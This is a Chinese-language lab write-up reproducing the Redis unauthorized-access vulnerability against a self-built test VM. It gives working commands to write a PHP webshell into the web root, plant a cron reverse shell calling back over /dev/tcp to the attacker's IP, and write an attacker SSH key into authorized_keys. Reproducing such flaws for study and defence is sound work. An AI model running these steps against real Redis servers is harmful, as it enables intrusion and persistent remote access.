漏洞原理
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
利用条件
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网
- 没有设置密码认证(一般为空),可以免密码远程登录redis服务
漏洞危害
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
- 攻击者可通过
eval
执行lua代码,或通过数据备份功能往磁盘写入后门文件 - 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
漏洞复现
搭建测试环境
受害机Ubuntu 20.04
- 安装php:
sudo apt install php7.4-cli libapache2-mod-php
- 安装apache2:
sudo apt install apache2
。并启动apache服务:sudo service apache2 start
。 - 安装redis,环境需要4.x/5.x以下的redis版本,这里下载3.2版本的,并解压、编译:
$ wget http://download.redis.io/releases/redis-3.2.11.tar.gz $ tar -zxvf redis-3.2.11.tar.gz $ cd redis-3.2.11 $ make
如果
make
时遇到以下报错,需要安装gcc,并设置启动参数:
错误信息如下:/bin/sh: cc: command not found
解决办法,安装gcc:sudo apt install gcc
然后设置make启动参数后即可运行:make MALLOC=libc
- 编译完成后,进入src目录下,复制
redis-cli
和redis-server
到/usr/bin/
目录下:$ cd src $ sudo cp redis-cli redis-server /usr/bin/
- 回到
redis-3.2.11
目录中,复制redis.conf
文件到/etc/
目录下:$ cd .. $ sudo cp redis.conf /etc/
使用sudo vim /etc/redis.conf
编辑配置文件,将61行的IP注释起来,表示外网可访问,如下:
然后将80行的yes
改为no
,表示关闭保护模式,如下:
然后保存退出。
-
使用
redis-server /etc/redis.conf
启动redis服务: -
打开一个新的终端,在窗口使用
redis-cli
命令,测试能否正常连接redis: -
使用
quit
退出redis命令行,然后在Ubuntu终端中开启ssh服务,确保后面能使用ssh进行连接:$ sudo service ssh start
攻击机Kali 2021.1
只要能连上redis即可,需要有redis-cli
命令,如果没有redis,需要进行安装:bash $ sudo apt install redis-tools
利用redis写入webshell
利用条件
- 服务器开着web服务
- redis有web目录写权限,可以往web路径写入文件
利用过程
- 测试使用Kali连接Ubuntu的redis服务:
$ redis-cli -h 192.168.101.6
如果成功连接上受害机,说明受害机存在redis未授权访问漏洞。
-
redis可以写入文件。使用
config get dir
命令可以查看写入文件的目录,并且可以用来修改写入文件的目录。如下:
因为web服务无法访问到/home
目录下的内容,所以需要修改redis保存文件的路径,将其修改到网站的根目录下,也就是 默认的/var/www/html
目录。因此redis需要具有对/var/www/html
写入的权限,使用config set dir /var/www/html
来修改dir的值: -
然后使用redis写入文件:
$ config set dbfilename shell.php $ set xxx "<?php phpinfo(); ?>" $ save
然而并不能写入文件,结果如下:
具体原因是因为redis对web根目录没有写入权限,这是一个比较重要的点,也是能否利用未授权访问来getshell的因素之一。为了测试,此时需要手动在受害机网站根目录中,新建一个其他用户具有可写入权限的文件夹,然后再将redis保存文件的dir值修改为新建文件夹的路径:
此时再次进行写入,可以看到已经保存成功了:
-
成功写入文件后可以在受害机中进行查看:
-
现在在浏览器中访问这个页面试试:
-
从上面的访问结果可以看出我们写入的php代码已经成功执行并返回。再次写入文件,将一句话木马写入到目录中:
-
访问webshell页面:
-
使用蚁剑连接webshell:
利用redis反弹shell
原理:在攻击机上开启nc反弹端口监听,通过redis未授权访问漏洞,写入Linux定时计划,反弹shell。
利用条件
- 对
/var/spool/cron
文件夹有写入权限
利用过程
- 首先在攻击机监听一个端口:
$ nc -lvnp 6666
- 在攻击机开启新的命令行窗口,连接受害机的redis服务,然后执行下面的命令:
$ set x "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.101.8/6666 0>&1\n\n\n" $ config set dir /var/spool/cron/ $ config set dbfilename root $ save
注意此处的计划任务命令,如果在Ubuntu中,是无法反弹shell的,原因是因为ubuntu会将redis写入的缓存乱码当作命令来解释,导致执行不成功。而centos不会对乱码进行解释,可以成功执行反弹shell的命令。
- 可以在受害机查看文件是否保存成功:
但是在ubuntu下无法反弹shell,这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向
/etc/cron.d
目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
利用redis写入ssh公钥
利用条件
- 受害机必须有
~/.ssh
文件夹,无论是普通用户还是root用户,否则无法在redis中设置dir的值
直接使用
~/.ssh
是不行的,需要绝对路径。
- 另一个条件就是需要知道家目录的名称,比如上面的
/home/unravel/.ssh
,必须知道unravel
利用过程
- 首先在攻击机生成ssh公钥,用于连接受害机时来使用私钥验证登陆:
$ ssh-keygen
- 将公钥开头和结尾添加两行换行,并存储为新的文本文件,用于redis在连接时写入的内容。添加两个换行的原因是对redis缓存垃圾数据和公钥的内容分隔开来,以免ssh连接失败。可以使用bash命令来完成这个操作:
(echo -e "\n\n";cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > key.txt
- 使用攻击机连接受害机时写入变量
x
,x
存储攻击机的公钥:cat key.txt | redis-cli -h 192.168.101.6 -x set x
- 使用攻击机连接受害机redis,将写入的文件路径设置为
/home/unravel/.ssh
,并设置保存的文件名称为authorized_keys
:
注意
authorized_keys
名称是固定的,不能随便改,否则连接不上sshbash $ config set dir /home/unravel/.ssh $ config set dbfilename authorized_keys $ save
-
然后在受害机文件中查看一下:
-
在攻击机尝试使用本地私钥对受害机进行连接:
$ ssh unravel@192.168.101.6 -i ~/.ssh/id_rsa
总结
Redis在实战中算是比较常用的端口利用了。除了反弹shell的方法在测试的时候没有实现getshell以外,还有一种主从复制的方式,后面有空补上。
参考链接:https://paper.seebug.org/975/